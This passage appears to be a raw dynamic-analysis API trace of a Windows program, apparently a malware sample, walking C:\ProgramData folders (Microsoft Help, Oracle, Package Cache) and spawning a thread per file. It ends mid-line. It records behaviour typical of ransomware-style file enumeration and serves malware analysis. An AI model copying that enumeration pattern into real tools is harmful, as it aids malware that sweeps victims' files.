[0085.857] wcscpy (in: _Dest=0x1b79e0f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.857] wcscat (in: _Dest=0x1b79e0f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.857] wcscat (in: _Dest=0x1b79e0f0, _Source="MS.SETLANG.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" [0085.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0085.857] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0085.857] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2=".") returned 1 [0085.858] wcscmp (_String1="MS.VISIO.14.1033.hxn", _String2="..") returned 1 [0085.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c2130 [0085.858] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.858] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.858] wcscat (in: _Dest=0x1b7c2130, _Source="MS.VISIO.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" [0085.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0085.858] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0085.858] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2=".") returned 1 [0085.858] wcscmp (_String1="MS.VISIO.DEV.14.1033.hxn", _String2="..") returned 1 [0085.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e170 [0085.859] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.859] wcscat (in: _Dest=0x1b79e170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.859] wcscat (in: _Dest=0x1b79e170, _Source="MS.VISIO.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" [0085.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0085.859] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="MSVISI~4.HXN")) returned 1 [0085.859] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2=".") returned 1 [0085.859] wcscmp (_String1="MS.VISIO.SHAPESHEET.14.1033.hxn", _String2="..") returned 1 [0085.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b783f80 [0085.860] wcscpy (in: _Dest=0x1b783f80, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.860] wcscat (in: _Dest=0x1b783f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.860] wcscat (in: _Dest=0x1b783f80, _Source="MS.VISIO.SHAPESHEET.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" [0085.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b783f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0085.860] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="MSE1C9~1.HXN")) returned 1 [0085.860] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2=".") returned 1 [0085.860] wcscmp (_String1="MS.VISIO_PRM.14.1033.hxn", _String2="..") returned 1 [0085.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e1f0 [0085.860] wcscpy (in: _Dest=0x1b79e1f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.861] wcscat (in: _Dest=0x1b79e1f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.861] wcscat (in: _Dest=0x1b79e1f0, _Source="MS.VISIO_PRM.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" [0085.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0085.861] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0085.861] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2=".") returned 1 [0085.861] wcscmp (_String1="MS.VISIO_STD.14.1033.hxn", _String2="..") returned 1 [0085.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e270 [0085.861] wcscpy (in: _Dest=0x1b79e270, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.861] wcscat (in: _Dest=0x1b79e270, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.861] wcscat (in: _Dest=0x1b79e270, _Source="MS.VISIO_STD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" [0085.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0085.862] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0085.862] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2=".") returned 1 [0085.862] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2="..") returned 1 [0085.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e2f0 [0085.862] wcscpy (in: _Dest=0x1b79e2f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.862] wcscat (in: _Dest=0x1b79e2f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.863] wcscat (in: _Dest=0x1b79e2f0, _Source="MS.WINPROJ.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" [0085.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0085.864] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0085.864] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2=".") returned 1 [0085.864] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2="..") returned 1 [0085.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e370 [0085.864] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.864] wcscat (in: _Dest=0x1b79e370, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.864] wcscat (in: _Dest=0x1b79e370, _Source="MS.WINPROJ.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" [0085.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0085.865] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0085.865] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2=".") returned 1 [0085.865] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2="..") returned 1 [0085.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e3f0 [0085.865] wcscpy (in: _Dest=0x1b79e3f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.865] wcscat (in: _Dest=0x1b79e3f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.865] wcscat (in: _Dest=0x1b79e3f0, _Source="MS.WINWORD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" [0085.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0085.866] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1 [0085.866] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2=".") returned 1 [0085.866] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2="..") returned 1 [0085.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e470 [0085.866] wcscpy (in: _Dest=0x1b79e470, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.866] wcscat (in: _Dest=0x1b79e470, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.866] wcscat (in: _Dest=0x1b79e470, _Source="MS.WINWORD.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" [0085.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0085.867] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0085.867] wcscmp (_String1="nslist.hxl", _String2=".") returned 1 [0085.867] wcscmp (_String1="nslist.hxl", _String2="..") returned 1 [0085.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858790 [0085.867] wcscpy (in: _Dest=0x1b858790, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.867] wcscat (in: _Dest=0x1b858790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.867] wcscat (in: _Dest=0x1b858790, _Source="nslist.hxl" | out: _Dest="C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl" [0085.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b858790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0085.868] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0085.868] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0085.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 Thread: id = 127 os_tid = 0x75c [0085.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8000 [0085.871] wcscpy (in: _Dest=0x1b7d8000, _Source="C:\\ProgramData\\Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0085.871] wcscat (in: _Dest=0x1b7d8000, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\") returned="C:\\ProgramData\\Oracle\\" [0085.871] wcscat (in: _Dest=0x1b7d8000, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\*") returned="C:\\ProgramData\\Oracle\\*" [0085.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.872] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.872] wcscmp (_String1=".", _String2=".") returned 0 [0085.872] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.872] wcscmp (_String1="..", _String2=".") returned 1 [0085.872] wcscmp (_String1="..", _String2="..") returned 0 [0085.872] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.872] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8000) returned 1 [0085.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 Thread: id = 128 os_tid = 0xb0 [0085.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bef0 [0085.874] wcscpy (in: _Dest=0x1b82bef0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.874] wcscat (in: _Dest=0x1b82bef0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.874] wcscat (in: _Dest=0x1b82bef0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\*") returned="C:\\ProgramData\\Package Cache\\*" [0085.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.877] wcscmp (_String1=".", _String2=".") returned 0 [0085.877] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.878] wcscmp (_String1="..", _String2=".") returned 1 [0085.878] wcscmp (_String1="..", _String2="..") returned 0 [0085.878] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0085.878] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2=".") returned 1 [0085.878] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2="..") returned 1 [0085.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7acf80 [0085.878] wcscpy (in: _Dest=0x1b7acf80, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.878] wcscat (in: _Dest=0x1b7acf80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.878] wcscat (in: _Dest=0x1b7acf80, _Source="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0085.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7acf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0085.879] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0085.879] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2=".") returned 1 [0085.879] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2="..") returned 1 [0085.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad020 [0085.879] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.879] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.880] wcscat (in: _Dest=0x1b7ad020, _Source="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package 